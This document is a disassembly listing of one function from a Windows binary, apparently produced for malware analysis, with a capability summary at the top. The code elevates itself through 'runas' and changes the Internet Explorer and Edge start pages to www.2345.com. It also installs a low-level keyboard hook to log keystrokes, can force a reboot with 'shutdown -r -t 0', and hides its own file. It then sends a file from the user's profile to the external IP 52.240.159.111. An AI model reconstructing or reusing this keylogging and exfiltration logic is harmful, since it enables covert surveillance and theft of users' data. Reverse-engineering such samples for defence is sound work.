Function at 0x404d40
Capabilities:
Check if file exists
Create process on windows
Create thread
Execute command
Get file attributes
Get token membership
Log keystrokes via application hook
Query environment variable
Set file attributes
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x2e8
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x2e4], eax
push esi
push edi
lea eax, [esp + 0x10]
mov dword [esp + 0x5c], 0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea eax, [esp + 0x78]
mov dword [esp + 0x38], 0
push eax
mov dword [esp + 0x7c], 0
mov word [esp + 0x80], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x404dc2
lea eax, [esp + 0x5c]
push eax
push dword [esp + 0x14]
push 0
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [esp + 0x5c], 0
jne 0x404e44
push 0x104
lea eax, [esp + 0xe4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x38
lea eax, [esp + 0x1c]
mov dword [esp + 0x18], 0x3c
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [esp + 0x20], str.runas
lea eax, [esp + 0xe0]
mov dword [esp + 0x1c], 0
mov dword [esp + 0x24], eax
lea eax, [esp + 0x14]
mov dword [esp + 0x30], 1
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x404e3c
push 0x10
push str.Error
push str.Failed_to_elevate_permissions
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00404bf0
push 0xc
xorps xmm0, xmm0
mov dword [esp + 0x74], 0
push str.www.2345.com
lea ecx, [esp + 0x68]
movaps xmmword [esp + 0x68], xmm0
mov dword [esp + 0x7c], 0
call fcn.004074d0
cmp dword [esp + 0x74], 0xf
lea eax, [esp + 0x10]
push eax
push 2
push 0
push str.SoftwareMicrosoftInternet_ExplorerMain
lea edi, [esp + 0x70]
cmova edi, dword [esp + 0x70]
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x404f3f
mov ecx, edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x404ea5
sub ecx, edx
lea eax, [ecx + 1]
push eax
push edi
push 1
push 0
push str.Start_Page
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [esp + 0x10]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
je 0x404edd
mov edx, str.Failed_to_set_Internet_Explorer_home_page.
jmp 0x404f44
lea eax, [esp + 0x10]
push eax
push 2
push 0
push str.SoftwareMicrosoftEdgeMain
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x404f38
mov ecx, edi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x404f00
sub ecx, edx
lea eax, [ecx + 1]
push eax
push edi
push 1
push 0
push str.Start_Page
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [esp + 0x10]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
je 0x404f5c
mov edx, str.Failed_to_set_Edge_home_page.
jmp 0x404f44
mov edx, str.Failed_to_open_registry_key_for_Edge.
jmp 0x404f44
mov edx, str.Failed_to_open_registry_key_for_Internet_Explorer.
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.00406b50
push 0x406d70
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [esp + 0x74]
cmp ecx, 0xf
jbe 0x404f94
mov edx, dword [esp + 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404f8a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x404f8a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00408d9c
add esp, 8
push 4
call fcn.00408d67
add esp, 4
lea ecx, [esp + 0x54]
mov dword [eax], 0x403df0
push ecx
push 0
push eax
push 0x4085c0
push 0
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
add esp, 0x18
mov dword [esp + 0x50], eax
test eax, eax
je 0x40533a
mov ecx, dword [esp + 0x54]
test ecx, ecx
je 0x405322
mov edi, dword [sym.imp.MSVCP140.dll__Thrd_detach]
push ecx
push eax
call edi
add esp, 8
test eax, eax
jne 0x405322
call fcn.004033a0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
push 0x404ce0
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
lea eax, [esp + 0x60]
push 0
push 0
push 0
push eax
call esi
test eax, eax
je 0x40504e
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [esp + 0x60]
push eax
call edi
lea eax, [esp + 0x60]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
push 0
push 0
push 0
lea eax, [esp + 0x6c]
push eax
call esi
test eax, eax
jne 0x405025
mov edi, dword [sym.imp.MSVCP140.dll__Thrd_detach]
push 0
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
add esp, 4
mov dword [esp + 0x50], eax
lea eax, [esp + 0x50]
mov dword [esp + 0x54], edx
push eax
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64]
add esp, 4
mov ecx, dword [eax]
mov eax, 0x55555556
imul ecx
mov dword [esp + 0x5c], ecx
mov eax, edx
shr eax, 0x1f
add eax, edx
lea eax, [eax + eax*2]
sub ecx, eax
je 0x4050aa
mov ecx, dword [esp + 0x5c]
test cl, 1
je 0x4050aa
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
lea eax, [eax + eax*4]
sub ecx, eax
jne 0x4050d4
push 0x134
push 0x40b6dc
push str.Windows
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 6
jne 0x4050d4
push str.shutdown__r__t_0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
push 0x104
lea eax, [esp + 0xe4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x40510e
or eax, 2
push eax
lea eax, [esp + 0xe4]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push str.USERPROFILE
call dword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov edx, eax
mov dword [esp + 0x74], 0
mov ecx, edx
mov dword [esp + 0x78], 0
xorps xmm0, xmm0
add esp, 4
movaps xmmword [esp + 0x60], xmm0
lea esi, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x405140
sub ecx, esi
push ecx
push edx
lea ecx, [esp + 0x68]
call fcn.004074d0
mov edx, dword [esp + 0x74]
mov eax, edx
mov ecx, dword [esp + 0x70]
sub eax, ecx
push 0x14
push str.DesktopBooking.exe
cmp eax, 0x14
jb 0x405194
cmp edx, 0xf
lea esi, [esp + 0x68]
lea eax, [ecx + 0x14]
cmova esi, dword [esp + 0x68]
add esi, ecx
mov dword [esp + 0x78], eax
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0x14], 0
lea eax, [esp + 0x60]
jmp 0x4051a3
push dword [esp + 0x64]
lea ecx, [esp + 0x6c]
push 0x14
call fcn.004079e0
mov dword [esp + 0x90], 0
xorps xmm0, xmm0
movaps xmmword [esp + 0x80], xmm0
mov dword [esp + 0x94], 0
movups xmm0, xmmword [eax]
movups xmmword [esp + 0x80], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esp + 0x90], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov ecx, dword [esp + 0x74]
cmp ecx, 0xf
jbe 0x405226
mov edx, dword [esp + 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40521c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40521c
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00408d9c
add esp, 8
call fcn.00404bf0
push 0xe
xorps xmm0, xmm0
mov dword [esp + 0xd4], 0
push str.52.240.159.111
lea ecx, [esp + 0xc8]
movaps xmmword [esp + 0xc8], xmm0
mov dword [esp + 0xdc], 0
call fcn.004074d0
push 2
xorps xmm0, xmm0
mov dword [esp + 0xb4], 0
push 0x40b9ec
lea ecx, [esp + 0xa8]
movaps xmmword [esp + 0xa8], xmm0
mov dword [esp + 0xbc], 0
call fcn.004074d0
push 4
call fcn.00408d67
add esp, 4
lea ecx, [esp + 0x54]
mov dword [eax], 0x404ca0
push ecx
push 0
push eax
push 0x4085c0
push 0
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
add esp, 0x18
mov dword [esp + 0x50], eax
test eax, eax
je 0x40532a
mov ecx, dword [esp + 0x54]
test ecx, ecx
je 0x405322
push ecx
push eax
call edi
add esp, 8
test eax, eax
jne 0x405322
lea eax, [esp + 0x80]
push eax
lea edx, [esp + 0xa4]
lea ecx, [esp + 0xc4]
call fcn.00403ea0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 4
mov edx, str.File_sent_successfully_
test al, al
jne 0x40530a
mov edx, str.File_sending_failed_
call fcn.00406b50
push 0x406d70
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
nop dword [eax]
jmp 0x405320
push 1
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
push 6
mov dword [esp + 0x58], 0
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
push 6
mov dword [esp + 0x58], 0
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3